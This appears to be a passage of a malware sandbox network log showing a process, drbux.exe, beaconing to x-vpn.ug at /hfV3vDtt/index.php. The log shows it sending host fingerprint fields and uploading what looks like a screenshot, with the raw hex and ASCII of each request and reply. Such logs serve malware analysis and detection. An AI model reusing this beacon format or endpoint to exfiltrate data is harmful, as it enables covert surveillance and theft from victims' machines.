Jul 19, 2021 18:36:00.316936970 CEST	8051	OUT	Data Raw: 4b 39 a3 ba 8a 55 49 91 8e c8 a6 e4 02 0f 5d 98 fc cd 54 7d 1c 47 23 23 ea 36 8a ca 48 60 56 5c 83 ff 00 7c 57 99 5c ea 57 d7 b9 fb 55 ed cc f9 eb e6 ca cd fc cd 7a fe a2 f6 23 54 bb 0f 6f 70 5b ce 7c 91 3a 80 4e e3 db 65 72 f3 0d 62 dc 96 8a c5 Data Ascii: K9UI]T}G##6H`V\\|W\WUz#Top[\|:Nerb/,$,57w"ddeU*A_?\|LT^mlT%i-Rb0JN@'pzd#Top[\|:Nep?+NHaZt#EWa!KIK@- E%(QL@(AE%-(
Jul 19, 2021 18:36:00.369172096 CEST	8061	OUT	Data Raw: 52 e6 4b 67 58 98 37 dd c3 11 83 9e dc f3 55 1a 71 8b ba 63 b5 b6 46 7d 06 b5 6e bc 33 af d8 47 e6 5e 68 7a 9d b4 7b 4b ee 9a d2 44 1b 47 53 92 3a 0c 8c 9a ce 68 25 48 23 9d a2 75 86 42 c1 24 2a 42 b1 18 c8 07 be 32 33 f5 15 ad d0 ac 32 8a 4a 5a Data Ascii: RKgX7UqcF}n3G^hz{KDGS:h%H#uB$*B232JZd%PSEAf.(Q@BJPi(AES@ERQLQL(Z())i()Rf!RQ@ESRREPZm(4:J(QI@@wRQLB
Jul 19, 2021 18:36:00.430593967 CEST	8062	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:36:00.679864883 CEST	8076	IN	HTTP/1.1 200 OK Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:00 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 6 Connection: keep-alive Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
87	192.168.2.6	49836	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:00.214788914 CEST	8003	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:36:00.320569038 CEST	8051	IN	HTTP/1.1 200 OK Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:00 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 6 Connection: keep-alive Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
88	192.168.2.6	49837	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:00.649893999 CEST	8063	OUT	POST /hfV3vDtt/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7 Host: x-vpn.ug Content-Length: 96499 Cache-Control: no-cache
Jul 19, 2021 18:36:00.650012970 CEST	8063	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 37 66 38 64 33 33 39 33 35 37 61 63 63 30 64 30 63 35 34 66 37 64 32 30 38 35 30 33 66 64 62 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------7f8d339357acc0d0c54f7d208503fdb7Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Jul 19, 2021 18:36:00.650238037 CEST	8073	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Jul 19, 2021 18:36:00.650293112 CEST	8074	OUT	Data Raw: 1d f0 a3 1a db 21 c6 98 7a d7 b4 c1 a3 e9 be 22 bb d0 bc 56 b1 c1 05 9d bc 0c f7 91 aa 85 55 74 e4 71 ec db bf 00 2b cb 3c 4d ad 49 e2 0f 10 5d 6a 0f 90 8e db 62 53 fc 28 38 51 f9 7e a4 d7 9e d5 82 74 79 15 ef e8 75 7e 0d 83 c1 ba 86 8d 34 7a 8e Data Ascii: !z"VUtq+<MI]jbS(8Q~tyu~4zu6ei5FUtVqhAZ4Q,sI=*O&Gl3HeA!$aKT~[e <GU4?gx6)D\]sZ
Jul 19, 2021 18:36:00.650312901 CEST	8076	OUT	Data Raw: 63 bd 2f 67 0b 72 d8 cd e2 eb ba 8e a7 33 bb 34 fc 7f ff 00 22 4e a1 ff 00 6c ff 00 f4 62 d7 c9 15 f5 bf 8f ff 00 e4 49 d4 3f ed 9f fe 8c 5a f9 22 ba 30 bf c5 9f a2 fd 4c b1 7f ee 74 bf c5 3f ca 01 45 14 57 71 e5 85 14 51 40 0b cd 25 14 50 02 d2 Data Ascii: c/gr34"NlbI?Z"0Lt?EWqQ@%PRS(J3@QH)h(4v!M3M-phi.iJp4"I4r11ZMGEKSW0iq@)Rb/S~0C!0+Gix4c
Jul 19, 2021 18:36:00.732722998 CEST	8082	OUT	Data Raw: eb 54 35 24 b0 4d 6e ca b3 c3 24 4c c8 b2 28 75 2a 4a b0 ca b0 cf 62 39 07 bd 67 f5 2a 3d 8e 9f ed 8c 67 f3 fe 0b fc 85 fb 73 ff 00 cf 1f fc 7b ff 00 ad 51 bc 86 67 dc 57 6f 18 c6 68 a2 b4 a7 86 a7 4e 5c d1 46 15 f3 0c 45 78 72 54 95 d7 a2 1b 45 Data Ascii: T5$Mn$L(uJb9g=gs{QgWohN\FExrTE)WA%\|;m":6^I38$1T[d5VUl, }.d;3nKI^[axraV &C`UyEIqes`w\t)JR4
Jul 19, 2021 18:36:00.733006954 CEST	8085	OUT	Data Raw: 7a 4a 28 01 68 14 52 d3 42 10 d1 4b 45 00 25 06 96 8a 00 29 68 a2 80 03 49 4b 41 a6 02 52 1a 5a 29 00 82 83 4e c5 34 d0 01 45 2d 25 00 14 51 45 00 14 51 45 03 01 4b 49 40 a0 42 d1 45 27 7a 00 5a 29 0d 2d 00 14 51 45 00 2d 19 a4 a5 a0 03 bd 2d 25 Data Ascii: zJ(hRBKE%)hIKARZ)N4E-%QEQEKI@BE'zZ)-QE--%-11KEQK@Z(ESR-0aEP!ii)JZ`--%tp4ZbcL6$QiwB1b;u850D&#IVr.;*`cKEJb#+1!RbRS%R@(hR
Jul 19, 2021 18:36:00.733617067 CEST	8088	OUT	Data Raw: 01 f6 e9 8a 5d 33 e1 6e 93 62 e6 6b d9 e5 bd 65 19 08 c3 62 7e 20 72 7f 3a f3 b9 32 fe 5b f3 4a fd bf a4 7a 3c f9 87 35 b9 63 6e ff 00 d3 38 5f 1f eb 36 3a e7 88 52 ef 4f 98 cb 08 b7 54 2c 50 af 20 b7 62 07 a8 af 3d f1 37 fc 83 63 ff 00 ae c3 f9 Data Ascii: ]3nbkeb~ r:2[Jz<5cn8_6:ROT,P b=7c_6??z5K<U\Rl%.(PDK?v+ q>kt~<Qr7v 1;_VO%zF=E:wyzZNQEc
Jul 19, 2021 18:36:00.733659029 CEST	8090	OUT	Data Raw: bc 25 a4 a7 89 e0 b3 9b 53 96 eb ec 5a a4 16 5a 94 1f 63 da a5 9d 8a e1 1b cc f9 97 72 95 24 85 20 1c 80 7a 55 3f 10 43 a1 cf e1 f6 d5 ad a5 9b ed d2 ea b3 db 80 ba 7c 76 f1 94 45 8f 0b b5 24 2a a0 03 9c 85 c9 24 83 ea 72 67 f1 36 bd 71 2d b4 b2 Data Ascii: %SZZcr$ zU?C\|vE$*$rg6q-_'o<w+"DyPeaST}.nZ,$8+sgi5<MOcSkxn(a,Qa2YG4\A!h\Idx;XmF6FM~\|P
Jul 19, 2021 18:36:00.734548092 CEST	8093	OUT	Data Raw: 29 45 50 98 b4 ea 41 4b 4c 96 14 b4 0a 50 29 88 29 68 a5 14 c9 1c 05 2d 27 6a 51 56 48 e1 4e 1d 69 29 45 34 48 fa 51 49 4b 56 40 e0 69 e0 d3 07 5a 5a a4 4b 25 0d 4e 0d 50 d3 b3 4e e4 b4 49 85 3d 69 a6 04 6e 94 03 8a 70 6a 2c 98 ae d6 c4 46 d7 d0 Data Ascii: )EPAKLP))h-'jQVHNi)E4HQIKV@iZZK%NPNI=inpj,FVGi$g4bv)Q66)M2mP;!ZbE)u6)v1XQ}fjTFhQ]3H3LuGi45CXjo@P<U:gDqL+W,tFwMN
Jul 19, 2021 18:36:00.734597921 CEST	8100	OUT	Data Raw: b9 aa 50 ea 8f 4e 86 2e 32 d0 c4 29 51 95 ad 03 0e 0f 4a 82 48 b1 5c 92 a7 63 ba 35 13 30 3b d5 9b 00 1b 52 b5 0d d0 cc 80 fe 62 ab 53 91 cc 72 2b af 0c a4 11 5e 63 57 56 3d 16 ae ac 7a 99 c1 04 1e 86 ba 3d 27 36 fe 09 be 78 cf ef 25 bc 58 a4 23 Data Ascii: PN.2)QJH\c50;RbSr+^cWV=z='6x%X##V.b3Cxl{[[*R:0aU9AFz?U52Y\|;ct}>_O:8A#HXf{X2&6^m\|c^h
Jul 19, 2021 18:36:01.101547956 CEST	8181	IN	HTTP/1.1 200 OK Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:01 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
89	192.168.2.6	49842	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:00.878232956 CEST	8153	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:36:00.961843014 CEST	8177	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:00 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
9	192.168.2.6	49746	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:35:25.970334053 CEST	1985	OUT	POST /hfV3vDtt/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7 Host: x-vpn.ug Content-Length: 96499 Cache-Control: no-cache
Jul 19, 2021 18:35:25.970443964 CEST	1985	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 37 66 38 64 33 33 39 33 35 37 61 63 63 30 64 30 63 35 34 66 37 64 32 30 38 35 30 33 66 64 62 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------7f8d339357acc0d0c54f7d208503fdb7Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Jul 19, 2021 18:35:25.970689058 CEST	1995	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Jul 19, 2021 18:35:25.970845938 CEST	1998	OUT	Data Raw: 1d f0 a3 1a db 21 c6 98 7a d7 b4 c1 a3 e9 be 22 bb d0 bc 56 b1 c1 05 9d bc 0c f7 91 aa 85 55 74 e4 71 ec db bf 00 2b cb 3c 4d ad 49 e2 0f 10 5d 6a 0f 90 8e db 62 53 fc 28 38 51 f9 7e a4 d7 9e d5 82 74 79 15 ef e8 75 7e 0d 83 c1 ba 86 8d 34 7a 8e Data Ascii: !z"VUtq+<MI]jbS(8Q~tyu~4zu6ei5FUtVqhAZ4Q,sI=*O&Gl3HeA!$aKT~[e <GU4?gx6)D\]sZ
Jul 19, 2021 18:35:26.066023111 CEST	1998	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:35:26 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>
Jul 19, 2021 18:35:26.066520929 CEST	2001	OUT	Data Raw: eb 54 35 24 b0 4d 6e ca b3 c3 24 4c c8 b2 28 75 2a 4a b0 ca b0 cf 62 39 07 bd 67 f5 2a 3d 8e 9f ed 8c 67 f3 fe 0b fc 85 fb 73 ff 00 cf 1f fc 7b ff 00 ad 51 bc 86 67 dc 57 6f 18 c6 68 a2 b4 a7 86 a7 4e 5c d1 46 15 f3 0c 45 78 72 54 95 d7 a2 1b 45 Data Ascii: T5$Mn$L(uJb9g=gs{QgWohN\FExrTE)WA%\|;m":6^I38$1T[d5VUl, }.d;3nKI^[axraV &C`UyEIqes`w\t)JR4
Jul 19, 2021 18:35:26.066804886 CEST	2004	OUT	Data Raw: 6f 0b 6b b2 96 d5 b4 eb 04 bd b0 65 f2 cc 77 53 86 1e 77 46 fd d0 1f 5c 71 e8 6b 8e f2 50 9e 45 3b cb 19 07 1d 2b 9b d8 be fd bf 07 73 a1 d6 47 6d 74 9a 97 8e 74 49 a7 d2 74 d9 25 b8 7d 7e 7b 89 ad e0 1b cc 09 2a 47 b1 9b 1c 85 ca 36 58 80 32 0f Data Ascii: okewSwF\qkPE;+sGmttIt%}~{G6X2J_k}iWw6~i#a^jI''A]WlGD:}4yn?^\|/;=]<-/%7b+></9WIb8.>r-u`
Jul 19, 2021 18:35:26.067066908 CEST	2007	OUT	Data Raw: 7a 4a 28 01 68 14 52 d3 42 10 d1 4b 45 00 25 06 96 8a 00 29 68 a2 80 03 49 4b 41 a6 02 52 1a 5a 29 00 82 83 4e c5 34 d0 01 45 2d 25 00 14 51 45 00 14 51 45 03 01 4b 49 40 a0 42 d1 45 27 7a 00 5a 29 0d 2d 00 14 51 45 00 2d 19 a4 a5 a0 03 bd 2d 25 Data Ascii: zJ(hRBKE%)hIKARZ)N4E-%QEQEKI@BE'zZ)-QE--%-11KEQK@Z(ESR-0aEP!ii)JZ`--%tp4ZbcL6$QiwB1b;u850D&#IVr.;*`cKEJb#+1!RbRS%R@(hR
Jul 19, 2021 18:35:26.067147970 CEST	2009	OUT	Data Raw: 01 f6 e9 8a 5d 33 e1 6e 93 62 e6 6b d9 e5 bd 65 19 08 c3 62 7e 20 72 7f 3a f3 b9 32 fe 5b f3 4a fd bf a4 7a 3c f9 87 35 b9 63 6e ff 00 d3 38 5f 1f eb 36 3a e7 88 52 ef 4f 98 cb 08 b7 54 2c 50 af 20 b7 62 07 a8 af 3d f1 37 fc 83 63 ff 00 ae c3 f9 Data Ascii: ]3nbkeb~ r:2[Jz<5cn8_6:ROT,P b=7c_6??z5K<U\Rl%.(PDK?v+ q>kt~<Qr7v 1;_VO%zF=E:wyzZNQEc
Jul 19, 2021 18:35:26.067461967 CEST	2012	OUT	Data Raw: bc 25 a4 a7 89 e0 b3 9b 53 96 eb ec 5a a4 16 5a 94 1f 63 da a5 9d 8a e1 1b cc f9 97 72 95 24 85 20 1c 80 7a 55 3f 10 43 a1 cf e1 f6 d5 ad a5 9b ed d2 ea b3 db 80 ba 7c 76 f1 94 45 8f 0b b5 24 2a a0 03 9c 85 c9 24 83 ea 72 67 f1 36 bd 71 2d b4 b2 Data Ascii: %SZZcr$ zU?C\|vE$*$rg6q-_'o<w+"DyPeaST}.nZ,$8+sgi5<MOcSkxn(a,Qa2YG4\A!h\Idx;XmF6FM~\|P
Jul 19, 2021 18:35:26.067708015 CEST	2015	OUT	Data Raw: 29 45 50 98 b4 ea 41 4b 4c 96 14 b4 0a 50 29 88 29 68 a5 14 c9 1c 05 2d 27 6a 51 56 48 e1 4e 1d 69 29 45 34 48 fa 51 49 4b 56 40 e0 69 e0 d3 07 5a 5a a4 4b 25 0d 4e 0d 50 d3 b3 4e e4 b4 49 85 3d 69 a6 04 6e 94 03 8a 70 6a 2c 98 ae d6 c4 46 d7 d0 Data Ascii: )EPAKLP))h-'jQVHNi)E4HQIKV@iZZK%NPNI=inpj,FVGi$g4bv)Q66)M2mP;!ZbE)u6)v1XQ}fjTFhQ]3H3LuGi45CXjo@P<U:gDqL+W,tFwMN
Jul 19, 2021 18:35:26.067759037 CEST	2017	OUT	Data Raw: b9 aa 50 ea 8f 4e 86 2e 32 d0 c4 29 51 95 ad 03 0e 0f 4a 82 48 b1 5c 92 a7 63 ba 35 13 30 3b d5 9b 00 1b 52 b5 0d d0 cc 80 fe 62 ab 53 91 cc 72 2b af 0c a4 11 5e 63 57 56 3d 16 ae ac 7a 99 c1 04 1e 86 ba 3d 27 36 fe 09 be 78 cf ef 25 bc 58 a4 23 Data Ascii: PN.2)QJH\c50;RbSr+^cWV=z='6x%X##V.b3Cxl{[[*R:0aU9AFz?U52Y\|;ct}>_O:8A#HXf{X2&6^m\|c^h

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
90	192.168.2.6	49844	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:01.162955999 CEST	8223	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:36:01.256469011 CEST	8473	IN	HTTP/1.1 200 OK Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:01 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 6 Connection: keep-alive Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>
Jul 19, 2021 18:36:01.330535889 CEST	8954	OUT	POST /hfV3vDtt/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7 Host: x-vpn.ug Content-Length: 96499 Cache-Control: no-cache
Jul 19, 2021 18:36:01.330631971 CEST	8954	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 37 66 38 64 33 33 39 33 35 37 61 63 63 30 64 30 63 35 34 66 37 64 32 30 38 35 30 33 66 64 62 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------7f8d339357acc0d0c54f7d208503fdb7Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Jul 19, 2021 18:36:01.330854893 CEST	8964	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Jul 19, 2021 18:36:01.330972910 CEST	8967	OUT	Data Raw: 1d f0 a3 1a db 21 c6 98 7a d7 b4 c1 a3 e9 be 22 bb d0 bc 56 b1 c1 05 9d bc 0c f7 91 aa 85 55 74 e4 71 ec db bf 00 2b cb 3c 4d ad 49 e2 0f 10 5d 6a 0f 90 8e db 62 53 fc 28 38 51 f9 7e a4 d7 9e d5 82 74 79 15 ef e8 75 7e 0d 83 c1 ba 86 8d 34 7a 8e Data Ascii: !z"VUtq+<MI]jbS(8Q~tyu~4zu6ei5FUtVqhAZ4Q,sI=*O&Gl3HeA!$aKT~[e <GU4?gx6)D\]sZ
Jul 19, 2021 18:36:01.414311886 CEST	9664	OUT	Data Raw: eb 54 35 24 b0 4d 6e ca b3 c3 24 4c c8 b2 28 75 2a 4a b0 ca b0 cf 62 39 07 bd 67 f5 2a 3d 8e 9f ed 8c 67 f3 fe 0b fc 85 fb 73 ff 00 cf 1f fc 7b ff 00 ad 51 bc 86 67 dc 57 6f 18 c6 68 a2 b4 a7 86 a7 4e 5c d1 46 15 f3 0c 45 78 72 54 95 d7 a2 1b 45 Data Ascii: T5$Mn$L(uJb9g=gs{QgWohN\FExrTE)WA%\|;m":6^I38$1T[d5VUl, }.d;3nKI^[axraV &C`UyEIqes`w\t)JR4
Jul 19, 2021 18:36:01.419409990 CEST	9702	OUT	Data Raw: 01 f6 e9 8a 5d 33 e1 6e 93 62 e6 6b d9 e5 bd 65 19 08 c3 62 7e 20 72 7f 3a f3 b9 32 fe 5b f3 4a fd bf a4 7a 3c f9 87 35 b9 63 6e ff 00 d3 38 5f 1f eb 36 3a e7 88 52 ef 4f 98 cb 08 b7 54 2c 50 af 20 b7 62 07 a8 af 3d f1 37 fc 83 63 ff 00 ae c3 f9 Data Ascii: ]3nbkeb~ r:2[Jz<5cn8_6:ROT,P b=7c_6??z5K<U\Rl%.(PDK?v+ q>kt~<Qr7v 1;_VO%zF=E:wyzZNQEc
Jul 19, 2021 18:36:01.419430971 CEST	9707	OUT	Data Raw: bc 25 a4 a7 89 e0 b3 9b 53 96 eb ec 5a a4 16 5a 94 1f 63 da a5 9d 8a e1 1b cc f9 97 72 95 24 85 20 1c 80 7a 55 3f 10 43 a1 cf e1 f6 d5 ad a5 9b ed d2 ea b3 db 80 ba 7c 76 f1 94 45 8f 0b b5 24 2a a0 03 9c 85 c9 24 83 ea 72 67 f1 36 bd 71 2d b4 b2 Data Ascii: %SZZcr$ zU?C\|vE$*$rg6q-_'o<w+"DyPeaST}.nZ,$8+sgi5<MOcSkxn(a,Qa2YG4\A!h\Idx;XmF6FM~\|P
Jul 19, 2021 18:36:01.419442892 CEST	9713	OUT	Data Raw: 29 45 50 98 b4 ea 41 4b 4c 96 14 b4 0a 50 29 88 29 68 a5 14 c9 1c 05 2d 27 6a 51 56 48 e1 4e 1d 69 29 45 34 48 fa 51 49 4b 56 40 e0 69 e0 d3 07 5a 5a a4 4b 25 0d 4e 0d 50 d3 b3 4e e4 b4 49 85 3d 69 a6 04 6e 94 03 8a 70 6a 2c 98 ae d6 c4 46 d7 d0 Data Ascii: )EPAKLP))h-'jQVHNi)E4HQIKV@iZZK%NPNI=inpj,FVGi$g4bv)Q66)M2mP;!ZbE)u6)v1XQ}fjTFhQ]3H3LuGi45CXjo@P<U:gDqL+W,tFwMN
Jul 19, 2021 18:36:01.419611931 CEST	9724	OUT	Data Raw: 6b 34 35 3d 5e ad 54 66 6e 92 35 05 c8 3d 54 53 84 91 37 de 51 59 c1 cd 3c 3d 68 a6 64 e9 97 fc ab 57 fe 01 4c 6b 0b 56 f6 aa c1 e9 c1 cd 3f 75 f4 26 d3 5b 32 43 a5 42 7e eb d4 67 48 1f c3 25 3c 4a 7d 6a 41 33 76 34 72 41 f4 0e 7a 8b a9 51 b4 99 Data Ascii: k45=^Tfn5=TS7QY<=hdWLkV?u&[2CB~gH%<J}jA3v4rAzQLN;t{Qck(S\|TSAP}fKtsOY]Qp~L:Q{&2Ltem=_R)qRwT\|;~Gx@JvxO
Jul 19, 2021 18:36:01.419733047 CEST	9738	OUT	Data Raw: 1a a2 47 8a 29 b9 a3 34 c4 3c 1a 5a 60 34 e0 69 a2 47 83 4e 07 34 c1 cd 38 55 22 58 fa 29 29 6a 89 1c 29 c0 d3 05 3a a9 12 d1 28 3c 53 f3 51 03 4e 06 ad 32 1a 24 06 9e 0d 44 0f 34 e5 ab 4c 86 89 81 a7 83 50 8a 7e 6a d3 33 68 93 34 03 4c cd 28 35 Data Ascii: G)4<Z`4iGN48U"X))j):(<SQN2$D4LP~j3h4L(5WS -"Gz(5D8"oZp&p=@QTA<.RHjpJ4cPt@}h.Qa=8OJ^foZU=G(Tdb+
Jul 19, 2021 18:36:01.499108076 CEST	10998	OUT	Data Raw: 80 15 7b c7 da bd bd ce a9 6f e1 ad 33 e4 d2 74 74 58 c2 03 c3 be 38 27 d7 8e 73 ea 4f a5 66 da c3 a7 5c e9 17 56 f7 88 c2 42 e8 d1 c8 8d b5 90 00 c0 e0 fe 23 8a e5 85 e7 2e 77 f2 3a 9d a1 1e 54 4b ac 99 bc 50 d0 7f 68 cf 21 48 73 b1 23 c2 ae 4f Data Ascii: {o3ttX8'sOf\VB#.w:TKPh!Hs#Or9xEy iHmyup[]6g /v&]FdhFibOlpN,DgG M>rzvjkI\|W3lQrT:\wZ``(UJN<r(
